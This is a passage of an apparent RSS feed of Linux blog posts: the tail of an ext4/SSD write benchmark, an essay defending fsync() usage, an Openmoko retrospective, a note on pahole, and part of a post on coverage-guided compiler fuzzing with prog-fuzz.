            &lt;/tr&gt;
            
            &lt;tr&gt;
              &lt;td&gt;
                make
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                230.9
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                204.4
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                11.48%
              &lt;/td&gt;
            &lt;/tr&gt;
            
            &lt;tr&gt;
              &lt;td&gt;
                make clean
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                14.56
              &lt;/td&gt;
              
              &lt;td align="right"&gt;
                6.54
              &lt;/td&gt;
              
              &lt;td align="center"&gt;
                55.08%
              &lt;/td&gt;
            &lt;/tr&gt;
          &lt;/table&gt;
          
          &lt;p&gt;
            &lt;/center&gt;
          &lt;/p&gt;
          
          &lt;p&gt;
            &amp;nbsp;
          &lt;/p&gt;
          
          &lt;p&gt;
            Finally, just to round things out, I tried the same experiment using the ext3 and ext2 file systems. The difference between these results and the ones involving ext4 are the result of the fact that ext2 does not have the directory index feature (aka htree support), and both ext2 and ext3 do not have extents support, but rather use the less efficient indirect block scheme. The ext2 and ext3 allocators are also someone different from each other, and from ext4. Still, the results are substantially similar with the first set of Posix-compliant atime update numbers (I didn&amp;#8217;t bother to do noatime and relatime benchmark runs with ext2 and ext3, but I expect the results would be similar.)
          &lt;/p&gt;
          
          &lt;h2&gt;
            Conclusion
          &lt;/h2&gt;
          
          &lt;p&gt;
            So given all of this, where did the common folk wisdom that ext3 was not suitable for SSD&amp;#8217;s come from? Some of it may have been from people worrying too much about extreme workloads such as &amp;#8220;make clean&amp;#8221;; but while doubling the write load sounds bad, going from 4MB to 7MB worth of writes isn&amp;#8217;t that much compared to the write load of actually doing the kernel compile or populating the kernel source tree. No, the problem was that first generation SSD&amp;#8217;s had a very bad problem with what has been called the &amp;#8220;write amplification effect&amp;#8221;, where a 4k write might cause a 128k region of the SSD to be erased and rewritten. In addition in order to provide safety against system crashes, ext3 has more synchronous write operations &amp;#8212; that is where ext3 waits for the write operation to be complete before moving on, and this caused a very pronounced and noticeable stuttering effect which was fairly annoying to users. However, the next generation of SSD&amp;#8217;s, such as Intel&amp;#8217;s X25-M SSD, &lt;a title=" Write Amplification: Intel's Secret Sauce" href="http://www.extremetech.com/article2/0,2845,2329594,00.asp" target="_blank"&gt;have worked around the write amplification affect&lt;/a&gt;.
          &lt;/p&gt;
          
          &lt;p&gt;
            What else have we learned? First of all, for normal workloads that include data writes, the overhead from journaling is actually relatively small (between 4 and 12%, depending on the workload). Further, than much of this overhead can be reduced by enabling the noatime option, with relatime providing some benefit, but ultimately if the goal is to reduce your file system&amp;#8217;s write load, especially where an SSD is involved, I would strongly recommend the use of noatime over relatime.
          &lt;/p&gt;</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Don’t fear the fsync!]]></title>
<description><![CDATA[After reading the comments on my earlier post, Delayed allocation and the zero-length file problem as well as some of the comments on the Slashdot story as well as the Ubuntu bug, it’s become very clear to me that there are a lot of myths and misplaced concerns about fsync() and how best to use i...]]></description>
<link>https://tsecurity.de/de/3500960/unix-server/dont-fear-the-fsync/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500960/unix-server/dont-fear-the-fsync/</guid>
<pubDate>Fri, 08 May 2026 23:00:23 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>After reading the comments on my earlier post, <!-- raw HTML omitted -->Delayed allocation and the zero-length file problem<!-- raw HTML omitted --> as well as some of the comments on the <!-- raw HTML omitted -->Slashdot story<!-- raw HTML omitted --> as well as the <!-- raw HTML omitted -->Ubuntu bug<!-- raw HTML omitted -->, it’s become very clear to me that there are a lot of myths and misplaced concerns about fsync() and how best to use it.   I thought it would be appropriate to correct as many of these misunderstandings about fsync() in one comprehensive blog posting.</p>
<p>As the <!-- raw HTML omitted -->Eat My Data<!-- raw HTML omitted --> presentation points out very clearly, the only safe way according that POSIX allows for requesting data written to a particular file descriptor be safely stored on stable storage is via the fsync() call.  Linux’s close(2) man page makes this point very clearly:</p>
<blockquote>
<p>A successful close does not guarantee that the data has been successfully saved to disk, as the kernel defers writes. It is not common for a file system to flush the buffers when the stream is closed. If you need to be sure that the data is physically stored use fsync(2).</p>
</blockquote>
<p>Why don’t application programmers follow these sage words?  These three reasons are most often given as excuses:</p>
<ol>
<li>(Perceived) performance problems with fsync()</li>
<li>The application only needs atomicity, but not durability</li>
<li>The fsync() causing the hard drive to spin up unnecessarily in laptop_mode</li>
</ol>
<p>Let’s examine each of these excuses one at a time, to see how valid they really are.</p>
<h2>(Perceived) performance problems with fsync()</h2>
<p>Most of the bad publicity with fsync() originated with the now infamous <!-- raw HTML omitted -->problem with Firefox 3.0<!-- raw HTML omitted --> that showed up about a year ago in May, 2008.   What happened with Firefox 3.0 was that the primary user interface thread called the sqllite library each time the user clicked on a link to go to a new page. The sqllite library called fsync(), which in ext3’s data=ordered mode, caused a large, visible latency which was visible to the user if there was a large file copy happening by another process.</p>
<p>Nearly all of the reported delays was a few seconds, which would be expected; normally there isn’t <em>that</em> much dirty data that needs to be flushed out on a Linux system, even if it is even very busy.   For example, consier the example of a laptop downloading an .iso image from a local file server; if the laptop has the exclusive link of a 100 megabit/second ethernet link, and the server has the .iso file in cache, or has a nice fast RAID array so it is not the bottleneck, then in the best case, the laptop will be able to download data at the rate of 10-12 MB/second.  Assuming the default 5 second commit interval, that means that in the worst case, there will be at most 60 megabytes which must be written out before the commit can proceed.  A reasonably modern 7200 rpm laptop drive can write between 60 and 70 MB/second.   (The Seagate Momentus 7200.4 laptop drive is reported to be able to deliver 85-104 MB/second, but I can’t find it for sale anywhere for love or money.)   In this example, an fsync() will trigger a commit and might need to take a second while the download is going on; perhaps half a second if you have a really fast 7200 rpm drive, and maybe 2-3 seconds if you have a slow 5400 rpm drive.</p>
<p>(Jump to <a href="https://thunk.org/tytso/blog/2009/03/15/dont-fear-the-fsync/#sidebar:30-sec-fsyncs">Sidebar: What about those 30 second fsync reports?</a><!-- raw HTML omitted --><!-- raw HTML omitted -->)</p>
<p>Obviously, you can create workloads that aren’t bottlenecked on the maximum ethernet download speed, or the speed of reading from a local disk drive; for example, “dd if=/dev/zero of=big-zero-file” will create a very large number of dirty pages that must be written to the hard drive at the next commit or fsync() call. It’s important to remember though, fsync() doesn’t create any extra I/O (although it may remove some optimization opportunities to avoid double writes); fsync() just pushes around when the I/O gets done, and whether it gets done synchronously or asynchronously. If you create a <strong>large</strong> number of pages that need to be flushed to disk, sooner or later it will have a significant and unfortunate effect on your system’s performance.  Fsync() might make things more visible, but if the fsync() is done off the main UI thread, the fact that fsync() triggers a commit won’t actually disturb other processes doing normal I/O; in ext3 and ext4, we start a new transaction to take care of new file system operations while the committing transction completes.</p>
<p>The final observation I’ll make is that part of the problem is that Firefox as an application wants to make a huge number of updates to state files and was concerned about not losing that information even in the face of a crash.  Every application writer should be asking themselves whether this sort of thing is really necessary.   For example, doing some quick measurements using ext4, I determined that Firefox was responsible for 2.54 megabytes written to the disk for each web page visited by the user (and this doesn’t include writes to the Firefox cache; I symlinked the cache directory to a tmpfs directory mounted on /tmp to reduce the write load to my SSD).   So these 2.54 megabytes is just for Firefox’s cookie cache and Places database to maintain its “Awesome bar”.  Is that really worth it?   If you visit 400 web pages in a day, that’s 1GB of writes to your SSD, and if you write more than 20GB/day, the Intel SSD will enable its “write endurance management feature” which slows down the performance of the drive.   In light of that, exactly how important is it to update those darned sqllite databases after every web click?  What if Firefox saved a list of URL’s that has been visited, and only updated every 30 or 60 minutes, instead?   Is it really that every last web page that you browse be saved if the system crashes?  An fsync() call every 15, 30, or 60 minutes, done by a thread which doesn’t block the application’s UI, would have never been noticed and would have not started the firestorm on Firefox’s bugzilla <!-- raw HTML omitted --><!-- raw HTML omitted -->#421482<!-- raw HTML omitted --><!-- raw HTML omitted -->.   Very often, after a little thinking, a small change in the application is all that’s necessary for to really optimize the application’s fsync() usage.</p>
<p>(<a href="https://thunk.org/tytso/blog/2009/03/15/dont-fear-the-fsync/#atomicity-not-durability">Skip over the sidebar</a> — if you’ve already read it).</p>
<h3><!-- raw HTML omitted --><!-- raw HTML omitted -->Sidebar: What about those 30 second fsync reports?</h3>
<p>If you read through the <!-- raw HTML omitted -->Firefox’s bugzilla entry<!-- raw HTML omitted -->, you’ll find reports of fsync delays of 30 seconds or more. That tale has grown in the retelling, and I’ve seen some hyperbolic claims of five minute delays. Where did that come from? Well, if you look that those claims, you’ll find they were using a very read-heavy workload, and/or they were using the ionice command to set a real-time I/O priority. For example, something like “ionice -c 1 -n 0 tar cvf /dev/null big-directory”.</p>
<p>This <em>will</em> cause some significant delays, first of all because “ionice -c 1” causes the process to have a real-time I/O priority, such that <strong>any</strong> I/O requests issued by that process will be serviced before all others.   Secondly, even without the real-time I/O priority, the I/O scheduler naturally prioritizes reads as higher priority than writes because normally processes are waiting for reads to complete, but writes are normally asynchronous.</p>
<p>This is not at all realistic workload, and it is even more laughable that some people thought this might be an accurate representation of the I/O workload of a kernel compile. These folks had never tried the experiment, or measured how much I/O goes on during a kernel compile. If you try it, you’ll find that a kernel compile sucks up a lot of CPU, and doesn’t actually do <em>that</em> much I/O. (In fact, that’s why an SSD only speeds up a kernel compile by about 20% or so, and that’s in a completely cold cache case. If the commonly used include files are already in the system’s page cache, the performance improvement of the SSD is much less.)</p>
<p>Jump back to reading <a href="https://thunk.org/tytso/blog/2009/03/15/dont-fear-the-fsync/#sidebar:30-secs-return">Performance problems with fsync</a>.</p>
<h2><!-- raw HTML omitted --><!-- raw HTML omitted -->The atomicity not durability argument</h2>
<p>One argument that has commonly been made on the various comment streams is that when replacing a file by writing a new file and the renaming “file.new” to “file”, most applications don’t need a guarantee that new contents of the file are committed to stable store at a certain point in time; only that either the new or the old contents of the file will be present on the disk. So the argument is essentially that the sequence:</p>
<ul>
<li>fd = open(“foo.new”, O_WRONLY);</li>
<li>write(fd, buf, bufsize);</li>
<li>fsync(fd);</li>
<li>close(fd);</li>
<li>rename(“foo.new”, “foo”);</li>
</ul>
<p>… is too expensive, since it provides “atomicity and durability”, when in fact all the application needed was “atomicity” (i.e., either the new or the old contents of foo should be present after a crash), but not durability (i.e., the application doesn’t need to need the new version of foo <strong>now</strong>, but rather at some intermediate time in the future when it’s convenient for the OS).</p>
<p>This argument is flawed for two reasons. First of all, the squence above exactly provides desired “atomicity without durability”.   It doesn’t guarantee which version of the file will appear in the event of an unexpected crash; if the application needs a guarantee that the new version of the file will be present after a crash, it’s necessary to fsync the containing directory. Secondly, as we discussed above, fsync() really isn’t that expensive, even in the case of ext3′ and data=ordered; remember, fsync() doesn’t create extra I/O’s, although it may introduce latency as the application waits for some of the pending I/O’s to complete. If the application doesn’t care about exactly when the new contents of the file will be committed to stable store, the simplest thing to do is to execute the above sequence (open-write-fsync-close-rename) in a separate, asynchronous thread. And if the complaint is that this is too complicated, it’s not hard to put this in a library. For example, there is currently <a href="http://mail.gnome.org/archives/gtk-devel-list/2009-March/msg00082.html">discussion on the gtk-devel-list</a> on adding the fsync() call to g_file_set_contents(). Maybe if someone asks nicely, the glib developers will add an asynchronous version of this function which runs g_file_set_contents() in a separate thread. Voila!</p>
<h2><!-- raw HTML omitted --><!-- raw HTML omitted -->Avoiding hard drive spin-ups with laptop_mode</h2>
<p>Finally, as Nathaniel Smith said in <!-- raw HTML omitted -->Comment #111<!-- raw HTML omitted --> of <!-- raw HTML omitted -->of my previous post<!-- raw HTML omitted -->:</p>
<blockquote>
<p>The problem is that I don’t, really, want to turn off fsync’s, because I like my data. What I <em>want</em> to do is to spin up the drive as little as possible <em>while</em> maintaining data consistency. Really what I want is a knob that says “I’m willing to lose up to minutes of work, but no more”. We even have that knob (laptop mode and all that), but it only works in simple cases.</p>
</blockquote>
<p>This is a reasonable concern, and the way to fix this is to enhance laptop_mode in the Linux kernel. Bart Samwel, the author and maintainer of laptop_mode, actually discussed this idea with me last month at FOSDEM.  Laptop_mode already adjusts /proc/sys/vm/dirty_expire_centisecs and /proc/sys/vm/dirty_writeback_centisecs based on the configuration parameter MAX_LOST_WORK_SECONDS, and it also adjusts the file system commit time (for ext3; it needs to be taught to do the same thing for ext4, which is a simple patch) to MAX_LOST_WORK_SECONDS as well. All that is necessary is a kernel patch to allow laptop_mode to disable fsync() calls, since the kernel knows that it is in laptop_mode, and it notices that the disk has spun up, it will sync out everything to disk, since once the energy has been spent to spin up the hard drive, we might as well write everything in memory that needs to be written out right away. Hence, a patch which allows fsync() calls to be disabled while in laptop_mode should do pretty much everything Nate has asked. I need to check to see if laptop_mode does this already, but if it doesn’t force a file system commit when it detects that the hard drive has been spun up, it should obviously do this as well.</p>
<p>(In addition to having a way to globally disable fsync()’s, it may also be useful to have a way to selectively disable fsync()’s on a per-process basis, or on the flip side, exempt some process from a global fsync-disable flag. This may be useful if there are some system daemons that really do want to wake up the hard drive — and once the hard drive is spinning, naturally everything else that needs to pushed out to stable store should be immediately written.)</p>
<p>With this relatively minor change to the kernel’s support of laptop_mode, it should be possible to achieve the result that Nate desires, without needing force applications to worry about this issue; applications should be able to just simply use fsync() without fear.</p>
<h2>Summary</h2>
<p>As we’ve seen, the reasons most people think fsync() should be avoided really don’t hold water.   The fsync() call really is your friend, and it’s really not the villain that some have made it out to be. If used intelligently, it can provide your application with a portable way of assuring that your data has been safely written to stable store, without causing a user-visible latency in your application. The problem is getting people to not fear fsync(), understand fsync(), and then learning the techniques to use fsync() optimally.</p>
<p>So just as there has been a <!-- raw HTML omitted -->Don’t fear the penguin<!-- raw HTML omitted --> campaign, maybe we also need to have a “Don’t fear the fsync()” campaign.  All we need is a friendly mascot and logo for a “Don’t fear the fsync()” campaign. Anybody want to propose an image?  We can make some T-shirts, mugs, bumper stickers…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ten years anniversary of Openmoko]]></title>
<description><![CDATA[In 2006 I first visited Taiwan.  The reason back then was Sean Moss-Pultz
contacting me about a new Linux and Free Software based Phone that he
wanted to do at FIC in Taiwan.  This later became the Neo1973 and
the Openmoko project and finally became part
of both Free Software as well as smartphon...]]></description>
<link>https://tsecurity.de/de/3500782/unix-server/ten-years-anniversary-of-openmoko/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500782/unix-server/ten-years-anniversary-of-openmoko/</guid>
<pubDate>Fri, 08 May 2026 22:54:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In 2006 I first visited Taiwan.  The reason back then was Sean Moss-Pultz
contacting me about a new Linux and Free Software based Phone that he
wanted to do at FIC in Taiwan.  This later became the Neo1973 and
the <a class="reference external" href="http://openmoko.org/">Openmoko</a> project and finally became part
of both Free Software as well as smartphone history.</p>
<p>Ten years later, it might be worth to share a bit of a retrospective.</p>
<p>It was about building a smartphone before Android or the iPhone existed
or even were announced.  It was about doing things "right" from a Free
Software point of view, with FOSS requirements going all the way down to
component selection of each part of the electrical design.</p>
<p>Of course it was quite crazy in many ways.  First of all, it was a
bunch of white, long-nosed western guys in Taiwan, starting a company
around Linux and Free Software, at a time where that was not really
well-perceived in the embedded and consumer electronics world yet.</p>
<p>It was also crazy in terms of the many cultural 'impedance mismatches',
and I think at some point it might even be worth to write a book about
the many stories we experienced.  The biggest problem here is of course
that I wouldn't want to expose any of the companies or people in the
many instances something went wrong.  So probably it will remain a
secret to those present at the time :/</p>
<p>In any case, it was a great project and definitely one of the most
exciting (albeit busy) times in my professional career so far.  It was
also great that I could involve many friends and FOSS-compatriots from
other projects in Openmoko, such as Holger Freyther, Mickey Lauer,
Stefan Schmidt, Daniel Willmann, Joachim Steiger, Werner Almesberger,
Milosch Meriac and others.  I am happy to still work on a daily basis
with some of that group, while others have moved on to other areas.</p>
<p>I think we all had a lot of fun, learned a lot (not only about Taiwan),
and were working really hard to get the hardware and software into
shape.  However, the constantly growing scope, the [for western terms]
quite unclear and constantly changing funding/budget situation and the
many changes in direction have ultimately lead to missing the market
opportunity.  At the time the iPhone and later Android entered the
market, it was too late for a small crazy Taiwanese group of
FOSS-enthusiastic hackers to still have a major impact on the landscape
of Smartphones.  We tried our best, but in the end, after a lot of hype
and publicity, it never was a commercial success.</p>
<p>What's more sad to me than the lack of commercial success is also the
lack of successful free software that resulted.  Sure, there were some
u-boot and linux kernel drivers that got merged mainline, but none of
the three generations of UI stacks (GTK, Qt or EFL based), nor the GSM
Modem abstraction gsmd/libgsmd nor middleware (freesmartphone.org) has
manage to survive the end of the Openmoko company, despite having
deserved to survive.</p>
<p>Probably the most important part that survived Openmoko was the
pioneering spirit of building free software based phones.  This spirit
has inspired pure volunteer based projects like
GTA04/Openphoenux/Tinkerphone, who have achieved extraordinary results -
but who are in a very small niche.</p>
<p>What does this mean in practise?  We're stuck with a smartphone world in
which we can hardly escape any vendor lock-in.  It's virtually
impossible in the non-free-software iPhone world, and it's difficult in
the Android world.  In 2016, we have more Linux based smartphones than
ever - yet we have less freedom on them than ever before.  Why?</p>
<ul class="simple">
<li><p>the amount of hardware documentation on the processors and chipsets to
day is typically less than 10 years ago.  Back then, you could still
get the full manual for the S3C2410/S3C2440/S3C6410 SoCs.  Today,
this is not possible for the application processors of any vendor</p></li>
<li><p>the tighter integration of application processor and baseband
processor means that it is no longer possible on most phone designs to
have the 'non-free baseband + free application processor' approach
that we had at Openmoko.  It might still be possible if you designed
your own hardware, but it's impossible with any actually existing
hardware in the market.</p></li>
<li><p>Google blurring the line between FOSS and proprietary code in the
Android OS.  Yes, there's AOSP - but how many features are lacking?
And on how many real-world phones can you install it?  Particularly
with the Google Nexus line being EOL'd?  One of the popular exceptions
is probably
<a class="reference external" href="https://fairphone.com/en/2015/09/23/opening-up-fairphone-to-the-community-open-source-fairphone-2/">Fairphone2 with it's alternative AOSP operating system</a>,
even though that's not the default of what they ship.</p></li>
<li><p>The many binary-only drivers / blobs, from the graphics stack to wifi
to the cellular modem drivers.  It's a nightmare and really scary if
you look at all of that, e.g. at the <a class="reference external" href="https://code.fairphone.com/projects/fp-osos/dev/fp2-blobs-download-page.html">binary blob downloads for
Fairphone2</a>
to get an idea about all the binary-only blobs on a relatively current
Qualcomm SoC based design.  That's compressed 70 Megabytes, probably
as large as all of the software we had on the Openmoko devices back
then...</p></li>
</ul>
<p>So yes, the smartphone world is much more restricted, locked-down and
proprietary than it was back in the Openmoko days.  If we had been more
successful then, that world might be quite different today.  It was a
lost opportunity to make the world embrace more freedom in terms of
software and hardware.  Without single-vendor lock-in and proprietary
obstacles everywhere.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pahole in the news]]></title>
<description><![CDATA[Found another interesting article, this time mentioning a tool I wrote long ago and that, at least for kernel object files, has been working for a long time without much care on my part: pahole, go read a bit about it at Will Cohen’s “How to avoid wasting megabytes of memory a few bytes at a […]]]></description>
<link>https://tsecurity.de/de/3500735/unix-server/pahole-in-the-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500735/unix-server/pahole-in-the-news/</guid>
<pubDate>Fri, 08 May 2026 22:53:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Found another interesting article, this time mentioning a tool I wrote long ago and that, at least for kernel object files, has been working for a long time without much care on my part: pahole, go read a bit about it at Will Cohen’s “How to avoid wasting megabytes of memory a few bytes at a […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Compiler fuzzing, part 1]]></title>
<description><![CDATA[Much has been written about fuzzing compilers already, but there is not a lot that I could find about fuzzing compilers using more modern fuzzing techniques where coverage information is fed back into the fuzzer to find more bugs.

If you know me at all, you know I'll throw anything I can get my ...]]></description>
<link>https://tsecurity.de/de/3500678/unix-server/compiler-fuzzing-part-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3500678/unix-server/compiler-fuzzing-part-1/</guid>
<pubDate>Fri, 08 May 2026 22:51:58 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>
</h1>
Much has been written about fuzzing compilers already, but there is not a lot that I could find about fuzzing compilers using more modern fuzzing techniques where coverage information is fed back into the fuzzer to find more bugs.<br>
<br>
If you know me at all, you know I'll throw anything I can get my hands on at AFL. So I tried gcc. (And clang, and rustc -- but more about Rust in a later post.)<br>
<br>
<h3>
Levels of fuzzing</h3>
<br>
First let me summarise a post by John Regehr called <a href="https://blog.regehr.org/archives/1039">Levels of Fuzzing</a>, which my approach builds heavily on. Regehr presents a very important idea (which stems from earlier research/papers by others), namely that fuzzing can operate at different "levels". These levels correspond somewhat loosely to the different stages of compilation, i.e. lexing, parsing, type checking, code generation, and optimisation. In terms of fuzzing, the source code that you pass to the compiler has to "pass" one stage before it can enter the next; if you give the compiler a completely random binary file, it is unlikely to even get past the lexing stage, never mind to the point where the compiler is actually generating code. So it is in our interest (assuming we want to fuzz more than just the lexer) to generate test cases more intelligently than just using random binary data.<br>
<br>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXZ2MXcQ96h8mtq76NyjySjb6I6GGg47O73eLT9FyA8wfPrP5b7bBnlmgkwkwRMcxnUawsLyYvDaS9qtxtApeOVyBysogm-ZGkrTrmD5oQTQYiJYhuS5zFXKwdvpp1AeD31AHzk1HMa0/s1600/urandom.c.png" imageanchor="1"><img border="0" data-original-height="157" data-original-width="435" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXZ2MXcQ96h8mtq76NyjySjb6I6GGg47O73eLT9FyA8wfPrP5b7bBnlmgkwkwRMcxnUawsLyYvDaS9qtxtApeOVyBysogm-ZGkrTrmD5oQTQYiJYhuS5zFXKwdvpp1AeD31AHzk1HMa0/s1600/urandom.c.png"></a></td></tr>
<tr><td class="tr-caption">If we simply try to compile random data, we're not going to get very far.</td></tr>
</tbody></table>
  <br>
In a "naïve" approach, we simply compile gcc with AFL instrumentation and run afl-fuzz on it as usual. If we give a reasonable corpus of existing C code, it is possible that the fuzzer will find something interesting by randomly mutating the test cases. But more likely than not, it is mostly going to end up with random garbage like what we see above, and never actually progress to more interesting stages of compilation. I did try this -- and the results were as expected. It takes a long time before the fuzzer hits anything interesting at all. Now, <a href="http://lists.llvm.org/pipermail/llvm-dev/2014-December/079390.html">Sami Liedes did this with clang back in 2014</a> and obtained some impressive results ("34 distinct assertion failures in the first 11 hours"). So clearly it was possible to find bugs in this way. When I tried this myself for GCC, I did not find a single crash within a day or so of fuzzing. And looking at the queue of distinct testcases it had found, it was very clear that it was merely scratching the very outermost surface of the input handling in the compiler -- it was not able to produce a single program that would make it past the parsing stage.<br>
<br>
AFL has a few built-in mutation strategies: bit flips, "byte flips", arithmetic on bytes, 2-bytes, and 4-bytes, insertion of common boundary values (like 0, 1, powers of 2, -1, etc.), insertions of and substitution by "dictionary strings" (basically user-provided lists of strings), along with random splicing of test cases. We can already sort of guess that most of these strategies will not be useful for C and C++ source code. Perhaps the "dictionary strings" is the most promising for source code as it allows you to insert keywords and snippets of code that have at least some chance of ending up as a valid program. For the other strategies, single bit flips can change variable names, but changing variable names is not that interesting unless you change one variable into another (which both have to exist, as otherwise you would hit a trivial "undeclared" error). They can also create expressions, but if you somehow managed to change a 'h' into a '(', source code with this mutation would always fail unless you also inserted a ')' somewhere else to balance the expression. Source code has a lot of these "correspondances" where changing one thing also requires changing another thing somewhere else in the program if you want it to still compile (even though you don't generate an equivalent program -- that's not what we're trying to do here). Variable uses match up with variable declarations. Parantheses, braces, and brackets must all match up (and in the right order too!).<br>
<br>
These "correspondences" remind me a lot of CRCs and checksums in other file formats, and they give the fuzzer problems for the exact same reason: without extra code it's hard to overcome having to change the test case simultaneously in two or more places, never mind making the exact change that will preserve the relationship between these two values. It's a game of combinatorics; the more things we have to change at once and the more possibilities we have for those changes, the harder it will be to get that exact combination when you're working completely at random. For checksums the answer is easy, and there are two very good strategies: either you disable the checksum verification in the code you're fuzzing, or you write a small wrapper to "fix up" your test case so that the checksum always matches the data it protects (of course, after mutating an input you may not really know where in the file the checksum will be located anymore, but that's a different problem).<br>
<br>
For C and C++ source code it's not so obvious how to help the fuzzer overcome this. You can of course generate programs with a grammar (and some heuristics), which is what several C random code generators such as <a href="https://embed.cs.utah.edu/csmith/">Csmith</a>, <a href="https://github.com/Mrktn/ccg">ccg</a>, and <a href="https://github.com/intel/yarpgen">yarpgen</a> do. This is in a sense on the completely opposite side of the spectrum when it comes to the levels of fuzzing. By generating programs that you know are completely valid (and correct, and free of undefined behaviour), you will breeze through the lexing, the parsing, and the type checking and target the code generation and optimization stages. This is what Regehr et al. did in <a href="https://dl.acm.org/citation.cfm?id=2462173">"Taming compiler fuzzers"</a>, another very interesting read. (Their approach does not include instrumentation feedback, however, so it is more of a traditional black-box fuzzing approach than AFL, which is considered <a href="https://dl.acm.org/citation.cfm?id=2978428">grey-box fuzzing</a>.)<br>
<br>
But if you use a C++ grammar to generate C++ programs, that will also exclude a lot of inputs that are not valid but nevertheless accepted by the compiler. This approach relies on our ability to express all programs that <i>should</i> be valid, but there may also be programs non-valid programs that crash the compiler. As an example, if our generator knows that you cannot add an integer to a function, or assign a value to a constant, then the code paths checking for those conditions in the compiler would never be exercised, despite the fact that those errors are more interesting than mere syntax errors. In other words, there is a whole range of "interesting" test cases which we will never be able to generate if we restrict ourselves only to those programs that are actually valid code.<br>
<br>
Please note that I am not saying that one approach is better than the other! I believe we need all of them to successfully find bugs in all the areas of the compiler. By realising exactly what the limits of each method are, we can try to find other ways to fill the gaps.<br>
<br>
<h3>
Fuzzing with a loose grammar</h3>
<br>
So how can we fill the gap between the shallow syntax errors in the front end and the very deep of the code generation in the back end? There are several things we can do.<br>
<br>
The main feature of my solution is to use a "loose" grammar. As opposed to a "strict" grammar which would follow the C/C++ specs to the dot, the loose grammar only really has one type of symbol, and all the production rules in the grammar create this type of symbol. As a simple example, a traditional C grammar will not allow you to put a statement where an expression is expected, whereas the loose grammar has no restrictions on that. It does, however, take care that your parantheses and braces match up. My grammar file therefore looks something like this (also see <a href="https://github.com/vegard/prog-fuzz/blob/master/rules/cxx.txt">the full grammar</a> if you're curious!):<br>
<pre><code>"[void] [f] []([]) { [] }"
"[]; []"
"{ [] }"
"[0] + [0]"
...</code></pre>
Here, anything between "[" and "]" (call it a placeholder) can be substituted by any other line from the grammar file. An evolution of a program could therefore plausibly look like this:<br>
<pre><code>void f () { }           // using the "[void] [f] []([]) { [] }" rule
void f () { ; }         // using the "[]; []" rule
void f () { 0 + 0; }    // using the "[0] + [0]" rule
void f ({ }) { 0 + 0; } // using the "{ [] }" rule
...</code></pre>
Wait, what happened at the end there? That's not valid C. No -- but it could still be an interesting thing to try to pass to the compiler. We did have a placeholder where the arguments usually go, and according to the grammar we can put any of the other rules in there. This does quickly generate a lot of nonsensical programs that stop the compiler completely dead in its track at the parsing stage. We do have another trick to help things along, though...<br>
<br>
AFL doesn't care at all whether what we pass it is accepted by the compiler or not; it doesn't distinguish between success and failure, only between graceful termination and crashes. However, all we have to do is teach the fuzzer about the difference between exit codes 0 and 1; a 0 means the program passed all of gcc's checks and actually resulted in an object file. Then we can discard all the test cases that result in an error, and keep a corpus of test cases which compile successfully. It's really a no-brainer, but makes such a big difference in what the fuzzer can generate/find.<br>
<br>
<h3>
Enter prog-fuzz</h3>
<div>
<br></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"><tbody>
<tr><td><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJuF_rDhKvBrIkgzujwx8ljo-XHPeVIMm5eglkmnLgJsIjVOWzYeOPCv1DVrPjXrEv4jUzIWjwbxgyI10o-CS_tNJfDGeTZd5CqZb-epY2515d_m0OFHGjr95E523c6aEj2jAZlT-2lc/s1600/prog-fuzz.png" imageanchor="1"><img border="0" data-original-height="315" data-original-width="670" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJuF_rDhKvBrIkgzujwx8ljo-XHPeVIMm5eglkmnLgJsIjVOWzYeOPCv1DVrPjXrEv4jUzIWjwbxgyI10o-CS_tNJfDGeTZd5CqZb-epY2515d_m0OFHGjr95E523c6aEj2jAZlT-2lc/s1600/prog-fuzz.png"></a></td></tr>
<tr><td class="tr-caption">prog-fuzz output</td></tr>
</tbody></table>
<br>
<br>
If it's not clear by now, I'm not using afl-fuzz to drive the main fuzzing process for the techniques above. I decided it was easier to write a fuzzer from scratch, just reusing the AFL instrumentation and some of the setup code to collect the coverage information. Without the fork server, it's surprisingly little code, on the order of 15-20 lines of code! (I do have support for the fork server on a different branch and it's not THAT much harder to implement, but I simply haven't gotten around to it yet; and it also wasn't <i>really</i> needed to find a lot of bugs).<br>
<br>
You can find prog-fuzz on GitHub: <a href="https://github.com/vegard/prog-fuzz">https://github.com/vegard/prog-fuzz</a><br>
<br>
The code is not particularly clean, it's a hacked-up fuzzer that gets the job done. I'll want to clean that up at some point, document all the steps to build gcc with AFL instrumentation, etc., and merge a proper fork server. I just want the code to be out there in case somebody else wants to have a poke around.<br>
<br>
<h3>
Results</h3>
<br>
From the end of February until some time in April I ran the fuzzer on and off and reported just over 100 distinct gcc bugs in total (32 of them fixed so far, by my count):<br>
<ul>
<li><a href="https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40gmail.com">https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40gmail.com</a></li>
<li><a href="https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40oracle.com">https://gcc.gnu.org/bugzilla/buglist.cgi?reporter=vegard.nossum%40oracle.com</a></li>
</ul>
